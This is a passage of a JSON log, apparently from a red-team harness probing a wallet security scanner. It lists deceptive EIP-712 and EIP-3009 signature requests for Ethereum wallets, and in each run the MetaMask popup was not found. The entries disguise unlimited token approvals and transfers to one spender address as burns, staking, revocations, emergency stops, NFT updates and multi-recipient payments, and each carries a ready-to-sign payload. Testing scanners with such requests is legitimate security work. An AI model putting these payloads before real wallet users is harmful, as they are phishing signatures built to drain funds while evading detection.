"{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T18:54:38.002Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T18:54:47.553Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T18:54:57.101Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-002", "timestamp": "2026-01-31T18:55:06.654Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T18:55:16.216Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T18:55:25.769Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T18:55:35.330Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T18:55:44.882Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T18:55:54.437Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T18:56:03.996Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN54-EIP3009-022", "timestamp": "2026-01-31T18:56:13.564Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x909c1309dae615a0d9252010856bfb5187de0e82ef16ccb51b78974663b313dd\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN54-EIP3009-054", "timestamp": "2026-01-31T18:56:23.126Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x38828d11a3e75e96f54fed3e14113c5ae58a83fd871459888ce78e03a59946a7\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T18:56:32.686Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T18:56:42.238Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T18:56:51.796Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T18:57:01.342Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T18:57:10.899Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T18:57:20.459Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T18:57:30.023Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My 